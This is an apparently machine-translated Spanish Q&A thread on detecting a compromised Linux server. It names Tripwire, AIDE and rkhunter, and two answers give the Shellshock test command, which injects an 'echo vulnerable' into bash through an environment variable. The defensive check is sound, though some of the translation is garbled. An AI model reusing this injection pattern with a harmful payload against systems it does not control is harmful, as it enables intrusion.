Para hacer lo mismo periódicamente con la prueba criptográfica, existe una herramienta llamada Tripwire el cual todavía puede encontrar como versión gratuita. Es viejo pero hace su trabajo. Una alternativa más nueva es AIDE, pero no estaba usando crypto cuando lo miré hace años.

Hay algunas herramientas que pueden ayudar. Por ejemplo buscar paquete rkhunter. Escaneará su computadora en busca de kits de herramientas raíz conocidos y archivos explotados.

Obviamente, estas herramientas deberían haber sido instaladas y configuradas antes de que el sistema se vea comprometido, y estas herramientas también pueden dirigirse si su sistema se hackea con éxito para acceder a la raíz. Además, estas herramientas pueden ser muy intensivas y ralentizar su sistema.


3
2017-09-30 21:04





La única forma de saber si su servidor está comprometido es tener en algún lugar una firma de sus archivos y compararlos con los archivos actuales. Sin embargo puedes ver si eres vulnerable.

  1. tu no puedes Es razonable suponer que su máquina está realmente comprometida, sus herramientas de monitoreo habituales (ps, top, lsof, ...) han sido reemplazadas por herramientas similares cuya salida parece normal, ocultando actividades sospechosas
  2. no. Puede estar en cualquier carpeta con archivos ejecutables.
  3. cualquier archivo ejecutable o scripts (binario ELF, script .shell, ...), incluidas las herramientas de monitoreo habituales

2
2017-10-01 10:15





Cómo encontrar si su caja de linux está comprometida.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si si regresa

vulnerable
this is a test

usted está.

Para ejecutar la actualización, bajo root ejecute el siguiente comando

sudo yum update bash

-3
2017-09-29 14:14



-1 Esto comprueba si el bash es vulnerable, no si realmente está comprometido. - Calimo
También asume que estás corriendo yum y no otro gestor de paquetes. - DavidG


Puede verificar si es vulnerable ejecutando los siguientes comandos (código provisto por la CSA). Abra una ventana de terminal e ingrese el siguiente comando en el símbolo $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si su fiesta NO está actualizada, se imprimirá:

vulnerable
this is a test

Si tu evento está actualizado, solo verás:

this is a test

Más detalles están disponibles detrás de esto enlazar.


-3
2017-10-01 11:08



La pregunta era sobre detectar que un servidor era comprometidano es que sea vulnerable - Gareth
considere leer otras respuestas antes de publicar una muy similar a una respuesta cuyo puntaje sea bajo porque NO responde la pregunta. - Manu H